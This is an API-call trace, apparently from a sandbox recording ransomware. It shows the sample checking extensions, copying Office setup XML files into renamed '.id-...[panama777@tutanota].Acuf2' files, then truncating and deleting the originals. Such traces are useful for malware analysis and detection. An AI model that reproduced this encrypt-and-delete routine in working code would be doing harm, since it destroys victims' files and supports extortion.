	[0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.329] lstrlenW (lpString=".1cd") returned 4
	[0046.329] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.329] lstrlenW (lpString=".jpg") returned 4
	[0046.329] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.329] lstrlenW (lpString=".doc") returned 4
	[0046.329] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.329] lstrlenW (lpString=".docx") returned 5
	[0046.329] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.329] lstrlenW (lpString=".pdf") returned 4
	[0046.329] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.329] lstrlenW (lpString=".xls") returned 4
	[0046.329] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.330] lstrlenW (lpString=".xlsx") returned 5
	[0046.330] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.330] lstrlenW (lpString=".ppt") returned 4
	[0046.330] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.330] lstrlenW (lpString=".zip") returned 4
	[0046.330] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.330] lstrlenW (lpString=".rar") returned 4
	[0046.330] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.330] lstrlenW (lpString=".bz2") returned 4
	[0046.330] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.330] lstrlenW (lpString=".7z") returned 3
	[0046.330] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.330] lstrlenW (lpString=".dbf") returned 4
	[0046.330] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.330] lstrlenW (lpString=".1cd") returned 4
	[0046.330] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.330] lstrlenW (lpString=".jpg") returned 4
	[0046.330] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.331] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.331] lstrlenW (lpString="ProPlusrWW.XML") returned 14
	[0046.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0046.332] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=16852) returned 1
	[0046.332] CloseHandle (hObject=0x1e8) returned 1
	[0046.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20
	[0046.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0046.332] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.332] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.332] GetLastError () returned 0x0
	[0046.332] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x41d4, lpOverlapped=0x0) returned 1
	[0046.334] WriteFile (in: hFile=0x1bc, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x41e0, lpOverlapped=0x0) returned 1
	[0046.335] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.336] WriteFile (in: hFile=0x1bc, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0046.336] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.336] CloseHandle (hObject=0x1bc) returned 1
	[0046.336] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.336] SetEndOfFile (hFile=0x1e8) returned 1
	[0046.337] CloseHandle (hObject=0x1e8) returned 1
	[0046.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.337] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1
	[0046.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.337] lstrlenW (lpString=".doc") returned 4
	[0046.337] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.337] lstrlenW (lpString=".docx") returned 5
	[0046.337] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0046.337] lstrlenW (lpString=".pdf") returned 4
	[0046.338] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString=".xls") returned 4
	[0046.338] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString=".xlsx") returned 5
	[0046.338] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0046.338] lstrlenW (lpString=".ppt") returned 4
	[0046.338] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.338] lstrlenW (lpString=".zip") returned 4
	[0046.338] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.338] lstrlenW (lpString=".rar") returned 4
	[0046.338] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString=".bz2") returned 4
	[0046.338] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString=".7z") returned 3
	[0046.338] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.338] lstrlenW (lpString=".dbf") returned 4
	[0046.338] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.338] lstrlenW (lpString=".1cd") returned 4
	[0046.338] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.338] lstrlenW (lpString=".jpg") returned 4
	[0046.338] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.338] lstrlenW (lpString=".doc") returned 4
	[0046.338] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.338] lstrlenW (lpString=".docx") returned 5
	[0046.339] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0046.339] lstrlenW (lpString=".pdf") returned 4
	[0046.339] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.339] lstrlenW (lpString=".xls") returned 4
	[0046.339] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.339] lstrlenW (lpString=".xlsx") returned 5
	[0046.339] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0046.339] lstrlenW (lpString=".ppt") returned 4
	[0046.339] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.339] lstrlenW (lpString=".zip") returned 4
	[0046.339] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.339] lstrlenW (lpString=".rar") returned 4
	[0046.339] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.339] lstrlenW (lpString=".bz2") returned 4
	[0046.339] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.339] lstrlenW (lpString=".7z") returned 3
	[0046.339] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.339] lstrlenW (lpString=".dbf") returned 4
	[0046.339] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.339] lstrlenW (lpString=".1cd") returned 4
	[0046.339] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0046.339] lstrlenW (lpString=".jpg") returned 4
	[0046.339] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.339] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.340] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0046.340] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=31094) returned 1
	[0046.340] CloseHandle (hObject=0x1e8) returned 1
	[0046.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20
	[0046.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0046.340] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.340] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.342] GetLastError () returned 0x0
	[0046.342] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x7976, lpOverlapped=0x0) returned 1
	[0046.344] WriteFile (in: hFile=0x1bc, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7980, lpOverlapped=0x0) returned 1
	[0046.345] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.345] WriteFile (in: hFile=0x1bc, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.345] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.346] CloseHandle (hObject=0x1bc) returned 1
	[0046.346] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.346] SetEndOfFile (hFile=0x1e8) returned 1
	[0046.347] CloseHandle (hObject=0x1e8) returned 1
	[0046.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.347] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1
	[0046.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.347] lstrlenW (lpString=".doc") returned 4
	[0046.348] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString=".docx") returned 5
	[0046.348] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.348] lstrlenW (lpString=".pdf") returned 4
	[0046.348] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString=".xls") returned 4
	[0046.348] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString=".xlsx") returned 5
	[0046.348] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.348] lstrlenW (lpString=".ppt") returned 4
	[0046.348] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.348] lstrlenW (lpString=".zip") returned 4
	[0046.348] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.348] lstrlenW (lpString=".rar") returned 4
	[0046.348] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString=".bz2") returned 4
	[0046.348] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString=".7z") returned 3
	[0046.348] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.348] lstrlenW (lpString=".dbf") returned 4
	[0046.348] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.348] lstrlenW (lpString=".1cd") returned 4
	[0046.348] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.348] lstrlenW (lpString=".jpg") returned 4
	[0046.348] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.349] lstrlenW (lpString=".doc") returned 4
	[0046.349] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.349] lstrlenW (lpString=".docx") returned 5
	[0046.349] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.349] lstrlenW (lpString=".pdf") returned 4
	[0046.349] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.349] lstrlenW (lpString=".xls") returned 4
	[0046.349] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.349] lstrlenW (lpString=".xlsx") returned 5
	[0046.349] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.349] lstrlenW (lpString=".ppt") returned 4
	[0046.349] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.349] lstrlenW (lpString=".zip") returned 4
	[0046.349] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.349] lstrlenW (lpString=".rar") returned 4
	[0046.349] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.349] lstrlenW (lpString=".bz2") returned 4
	[0046.349] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.349] lstrlenW (lpString=".7z") returned 3
	[0046.349] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.349] lstrlenW (lpString=".dbf") returned 4
	[0046.349] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.349] lstrlenW (lpString=".1cd") returned 4
	[0046.349] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0046.349] lstrlenW (lpString=".jpg") returned 4
	[0046.349] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.350] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.350] lstrlenW (lpString="PublisherMUI.XML") returned 16
	[0046.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0046.350] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1450) returned 1
	[0046.350] CloseHandle (hObject=0x1e8) returned 1
	[0046.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20
	[0046.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0046.350] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.351] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.352] GetLastError () returned 0x0
	[0046.352] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x5aa, lpOverlapped=0x0) returned 1
	[0046.686] WriteFile (in: hFile=0x1bc, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0046.687] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.687] WriteFile (in: hFile=0x1bc, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0046.687] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.687] CloseHandle (hObject=0x1bc) returned 1
	[0046.688] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.688] SetEndOfFile (hFile=0x1e8) returned 1
	[0046.688] CloseHandle (hObject=0x1e8) returned 1
	[0046.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
